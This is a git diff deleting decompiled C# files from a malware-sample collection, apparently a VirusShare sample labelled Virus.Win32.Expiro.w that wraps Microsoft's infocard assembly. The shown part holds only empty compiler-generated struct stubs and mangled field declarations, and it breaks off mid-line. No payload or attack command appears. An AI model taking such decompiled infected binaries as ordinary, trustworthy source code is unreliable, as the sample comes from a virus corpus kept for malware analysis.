C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u003CCppImplementationDetails\u003E -{ - [DebugInfoInPDB] - [NativeCppClass] - [MiscellaneousBits(65)] - [StructLayout(LayoutKind.Sequential, Size = 68)] - internal struct \u0024ArrayType\u0024\u0024\u0024BY0BB\u0040K - { - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_003CCppImplementationDetails_003E/$ArrayType$$$BY0BC@$$CBG.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_003CCppImplementationDetails_003E/$ArrayType$$$BY0BC@$$CBG.cs deleted file mode 100644 index cef055e3..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_003CCppImplementationDetails_003E/$ArrayType$$$BY0BC@$$CBG.cs +++ /dev/null @@ -1,21 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: .$ArrayType$$$BY0BC@$$CBG -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u003CCppImplementationDetails\u003E -{ - [DebugInfoInPDB] - [UnsafeValueType] - [MiscellaneousBits(65)] - [NativeCppClass] - [StructLayout(LayoutKind.Sequential, Size = 36)] - internal struct \u0024ArrayType\u0024\u0024\u0024BY0BC\u0040\u0024\u0024CBG - { - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_003CCppImplementationDetails_003E/$ArrayType$$$BY0CB@$$CBG.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_003CCppImplementationDetails_003E/$ArrayType$$$BY0CB@$$CBG.cs deleted file mode 100644 index 8fc8d15d..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_003CCppImplementationDetails_003E/$ArrayType$$$BY0CB@$$CBG.cs +++ /dev/null @@ -1,21 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: .$ArrayType$$$BY0CB@$$CBG -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u003CCppImplementationDetails\u003E -{ - [MiscellaneousBits(65)] - [UnsafeValueType] - [DebugInfoInPDB] - [NativeCppClass] - [StructLayout(LayoutKind.Sequential, Size = 66)] - internal struct \u0024ArrayType\u0024\u0024\u0024BY0CB\u0040\u0024\u0024CBG - { - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_003CCppImplementationDetails_003E/$ArrayType$$$BY0CE@$$CBD.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_003CCppImplementationDetails_003E/$ArrayType$$$BY0CE@$$CBD.cs deleted file mode 100644 index 20201cb5..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_003CCppImplementationDetails_003E/$ArrayType$$$BY0CE@$$CBD.cs +++ /dev/null @@ -1,21 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: .$ArrayType$$$BY0CE@$$CBD -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u003CCppImplementationDetails\u003E -{ - [MiscellaneousBits(65)] - [DebugInfoInPDB] - [UnsafeValueType] - [NativeCppClass] - [StructLayout(LayoutKind.Sequential, Size = 36)] - internal struct \u0024ArrayType\u0024\u0024\u0024BY0CE\u0040\u0024\u0024CBD - { - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_003CCppImplementationDetails_003E/$ArrayType$$$BY0CE@$$CBG.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_003CCppImplementationDetails_003E/$ArrayType$$$BY0CE@$$CBG.cs deleted file mode 100644 index 1246d84a..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_003CCppImplementationDetails_003E/$ArrayType$$$BY0CE@$$CBG.cs +++ /dev/null @@ -1,21 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: .$ArrayType$$$BY0CE@$$CBG -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u003CCppImplementationDetails\u003E -{ - [NativeCppClass] - [DebugInfoInPDB] - [UnsafeValueType] - [MiscellaneousBits(65)] - [StructLayout(LayoutKind.Sequential, Size = 72)] - internal struct \u0024ArrayType\u0024\u0024\u0024BY0CE\u0040\u0024\u0024CBG - { - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_003CCppImplementationDetails_003E/$ArrayType$$$BY0EE@E.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_003CCppImplementationDetails_003E/$ArrayType$$$BY0EE@E.cs deleted file mode 100644 index 0e27100f..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_003CCppImplementationDetails_003E/$ArrayType$$$BY0EE@E.cs +++ /dev/null @@ -1,21 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: .$ArrayType$$$BY0EE@E -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u003CCppImplementationDetails\u003E -{ - [UnsafeValueType] - [MiscellaneousBits(65)] - [NativeCppClass] - [DebugInfoInPDB] - [StructLayout(LayoutKind.Sequential, Size = 68)] - internal struct \u0024ArrayType\u0024\u0024\u0024BY0EE\u0040E - { - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_003CCppImplementationDetails_003E/$ArrayType$$$BY0O@$$CBD.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_003CCppImplementationDetails_003E/$ArrayType$$$BY0O@$$CBD.cs deleted file mode 100644 index 9eacd6c2..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_003CCppImplementationDetails_003E/$ArrayType$$$BY0O@$$CBD.cs +++ /dev/null @@ -1,21 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: .$ArrayType$$$BY0O@$$CBD -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u003CCppImplementationDetails\u003E -{ - [UnsafeValueType] - [DebugInfoInPDB] - [NativeCppClass] - [MiscellaneousBits(65)] - [StructLayout(LayoutKind.Sequential, Size = 14)] - internal struct \u0024ArrayType\u0024\u0024\u0024BY0O\u0040\u0024\u0024CBD - { - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_003CCppImplementationDetails_003E/$ArrayType$$$BY0P@$$CBG.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_003CCppImplementationDetails_003E/$ArrayType$$$BY0P@$$CBG.cs deleted file mode 100644 index b5aacc57..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_003CCppImplementationDetails_003E/$ArrayType$$$BY0P@$$CBG.cs +++ /dev/null @@ -1,21 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: .$ArrayType$$$BY0P@$$CBG -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u003CCppImplementationDetails\u003E -{ - [UnsafeValueType] - [DebugInfoInPDB] - [MiscellaneousBits(65)] - [NativeCppClass] - [StructLayout(LayoutKind.Sequential, Size = 30)] - internal struct \u0024ArrayType\u0024\u0024\u0024BY0P\u0040\u0024\u0024CBG - { - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_003CCrtImplementationDetails_003E/ActivationContext.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_003CCrtImplementationDetails_003E/ActivationContext.cs deleted file mode 100644 index 59d2adad..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_003CCrtImplementationDetails_003E/ActivationContext.cs +++ /dev/null @@ -1,20 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: .ActivationContext -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u003CCrtImplementationDetails\u003E -{ - [NativeCppClass] - [DebugInfoInPDB] - [MiscellaneousBits(64)] - [StructLayout(LayoutKind.Sequential, Size = 12)] - internal struct ActivationContext - { - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_003CCrtImplementationDetails_003E/AtExitLock.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_003CCrtImplementationDetails_003E/AtExitLock.cs deleted file mode 100644 index 9eab1bf1..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_003CCrtImplementationDetails_003E/AtExitLock.cs +++ /dev/null @@ -1,20 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: .AtExitLock -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u003CCrtImplementationDetails\u003E -{ - [DebugInfoInPDB] - [MiscellaneousBits(64)] - [NativeCppClass] - [StructLayout(LayoutKind.Sequential, Size = 1)] - internal struct AtExitLock - { - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_003CCrtImplementationDetails_003E/DefaultDomain.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_003CCrtImplementationDetails_003E/DefaultDomain.cs deleted file mode 100644 index dfb369a6..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_003CCrtImplementationDetails_003E/DefaultDomain.cs +++ /dev/null @@ -1,20 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: .DefaultDomain -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u003CCrtImplementationDetails\u003E -{ - [NativeCppClass] - [MiscellaneousBits(64)] - [DebugInfoInPDB] - [StructLayout(LayoutKind.Sequential, Size = 1)] - internal struct DefaultDomain - { - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_003CCrtImplementationDetails_003E/Handle_003CSystem_003A_003AObject ^_003E.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_003CCrtImplementationDetails_003E/Handle_003CSystem_003A_003AObject ^_003E.cs deleted file mode 100644 index 038a72df..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_003CCrtImplementationDetails_003E/Handle_003CSystem_003A_003AObject ^_003E.cs +++ /dev/null @@ -1,20 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: .Handle -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u003CCrtImplementationDetails\u003E -{ - [DebugInfoInPDB] - [MiscellaneousBits(64)] - [NativeCppClass] - [StructLayout(LayoutKind.Sequential, Size = 4)] - internal struct Handle\u003CSystem\u003A\u003AObject\u0020\u005E\u003E - { - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_003CCrtImplementationDetails_003E/LanguageSupport.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_003CCrtImplementationDetails_003E/LanguageSupport.cs deleted file mode 100644 index 39a92d85..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_003CCrtImplementationDetails_003E/LanguageSupport.cs +++ /dev/null @@ -1,20 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: .LanguageSupport -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u003CCrtImplementationDetails\u003E -{ - [NativeCppClass] - [MiscellaneousBits(64)] - [DebugInfoInPDB] - [StructLayout(LayoutKind.Sequential, Size = 4)] - internal struct LanguageSupport - { - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_003CCrtImplementationDetails_003E/NativeDll.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_003CCrtImplementationDetails_003E/NativeDll.cs deleted file mode 100644 index 15783a70..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_003CCrtImplementationDetails_003E/NativeDll.cs +++ /dev/null @@ -1,20 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: .NativeDll -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u003CCrtImplementationDetails\u003E -{ - [DebugInfoInPDB] - [NativeCppClass] - [MiscellaneousBits(64)] - [StructLayout(LayoutKind.Sequential, Size = 1)] - internal struct NativeDll - { - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_003CCrtImplementationDetails_003E/Progress.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_003CCrtImplementationDetails_003E/Progress.cs deleted file mode 100644 index 539a5a35..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_003CCrtImplementationDetails_003E/Progress.cs +++ /dev/null @@ -1,28 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: .Progress -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u003CCrtImplementationDetails\u003E -{ - [NativeCppClass] - [MiscellaneousBits(64)] - [DebugInfoInPDB] - [StructLayout(LayoutKind.Sequential, Size = 1)] - internal struct Progress - { - [DebugInfoInPDB] - [CLSCompliant(false)] - [MiscellaneousBits(64)] - [NativeCppClass] - public enum State - { - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_003CCrtImplementationDetails_003E/ThisModule.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_003CCrtImplementationDetails_003E/ThisModule.cs deleted file mode 100644 index f351cf1d..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_003CCrtImplementationDetails_003E/ThisModule.cs +++ /dev/null @@ -1,20 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: .ThisModule -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u003CCrtImplementationDetails\u003E -{ - [NativeCppClass] - [DebugInfoInPDB] - [MiscellaneousBits(64)] - [StructLayout(LayoutKind.Sequential, Size = 1)] - internal struct ThisModule - { - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_003CCrtImplementationDetails_003E/TriBool.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_003CCrtImplementationDetails_003E/TriBool.cs deleted file mode 100644 index b660ec1b..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_003CCrtImplementationDetails_003E/TriBool.cs +++ /dev/null @@ -1,28 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: .TriBool -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u003CCrtImplementationDetails\u003E -{ - [NativeCppClass] - [MiscellaneousBits(64)] - [DebugInfoInPDB] - [StructLayout(LayoutKind.Sequential, Size = 1)] - internal struct TriBool - { - [MiscellaneousBits(64)] - [CLSCompliant(false)] - [NativeCppClass] - [DebugInfoInPDB] - public enum State - { - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_003CModule_003E.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_003CModule_003E.cs deleted file mode 100644 index 53786da7..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_003CModule_003E.cs +++ /dev/null @@ -1,1451 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using \u003CCppImplementationDetails\u003E; -using \u003CCrtImplementationDetails\u003E; -using Microsoft.InfoCards; -using System; -using System.Diagnostics; -using System.Runtime.CompilerServices; -using System.Runtime.ConstrainedExecution; -using System.Runtime.InteropServices; -using System.Security; -using System.ServiceProcess; -using System.Threading; - -internal class \u003CModule\u003E -{ - internal static \u0024ArrayType\u0024\u0024\u0024BY07\u0024\u0024CBG \u003FA0x61d4662f\u002Eunnamed\u002Dglobal\u002D0; - internal static \u0024ArrayType\u0024\u0024\u0024BY0CE\u0040\u0024\u0024CBD \u003F\u003F_C\u0040_0CE\u0040EGKBOGOO\u0040Microsoft\u003F2InfoCards\u003F2mcppwrapper\u003F4\u0040; - internal static \u0024ArrayType\u0024\u0024\u0024BY0CE\u0040\u0024\u0024CBG \u003F\u003F_C\u0040_1EI\u0040FAPBOFLF\u0040\u003F\u0024AAX\u003F\u0024AAp\u003F\u0024AAq\u003F\u0024AA1\u003F\u0024AA2\u003F\u0024AAL\u003F\u0024AAe\u003F\u0024AAn\u003F\u0024AAg\u003F\u0024AAt\u003F\u0024AAh\u003F\u0024AA\u003F5\u003F\u0024AA\u003F\u0024DN\u003F\u0024AA\u003F\u0024DN\u003F\u0024AA\u003F5\u003F\u0024AAX\u003F\u0024AAp\u003F\u0024AA1\u003F\u0024AAB\u003F\u0024AAy\u003F\u0024AAt\u003F\u0024AAe\u003F\u0024AAA\u003F\u0024AAr\u003F\u0024AAr\u003F\u0024AAa\u003F\u0024AAy\u003F\u0024AA\u003F9\u003F\u0024AA\u003F\u0024DO\u003F\u0024AAL\u003F\u0024AAe\u003F\u0024AAn\u0040; - internal static \u0024ArrayType\u0024\u0024\u0024BY0CE\u0040\u0024\u0024CBG \u003F\u003F_C\u0040_1EI\u0040BNBJOFNC\u0040\u003F\u0024AAX\u003F\u0024AAp\u003F\u0024AAq\u003F\u0024AA1\u003F\u0024AA2\u003F\u0024AAL\u003F\u0024AAe\u003F\u0024AAn\u003F\u0024AAg\u003F\u0024AAt\u003F\u0024AAh\u003F\u0024AA\u003F5\u003F\u0024AA\u003F\u0024DN\u003F\u0024AA\u003F\u0024DN\u003F\u0024AA\u003F5\u003F\u0024AAX\u003F\u0024AAp\u003F\u0024AA2\u003F\u0024AAB\u003F\u0024AAy\u003F\u0024AAt\u003F\u0024AAe\u003F\u0024AAA\u003F\u0024AAr\u003F\u0024AAr\u003F\u0024AAa\u003F\u0024AAy\u003F\u0024AA\u003F9\u003F\u0024AA\u003F\u0024DO\u003F\u0024AAL\u003F\u0024AAe\u003F\u0024AAn\u0040; - internal static \u0024ArrayType\u0024\u0024\u0024BY0CE\u0040\u0024\u0024CBG \u003F\u003F_C\u0040_1EI\u0040PPLFHHPC\u0040\u003F\u0024AAX\u003F\u0024AAp\u003F\u0024AAq\u003F\u0024AA1\u003F\u0024AA2\u003F\u0024AAL\u003F\u0024AAe\u003F\u0024AAn\u003F\u0024AAg\u003F\u0024AAt\u003F\u0024AAh\u003F\u0024AA\u003F5\u003F\u0024AA\u003F\u0024DN\u003F\u0024AA\u003F\u0024DN\u003F\u0024AA\u003F5\u003F\u0024AAX\u003F\u0024AAq\u003F\u0024AA1\u003F\u0024AAB\u003F\u0024AAy\u003F\u0024AAt\u003F\u0024AAe\u003F\u0024AAA\u003F\u0024AAr\u003F\u0024AAr\u003F\u0024AAa\u003F\u0024AAy\u003F\u0024AA\u003F9\u003F\u0024AA\u003F\u0024DO\u003F\u0024AAL\u003F\u0024AAe\u003F\u0024AAn\u0040; - internal static \u0024ArrayType\u0024\u0024\u0024BY0CE\u0040\u0024\u0024CBG 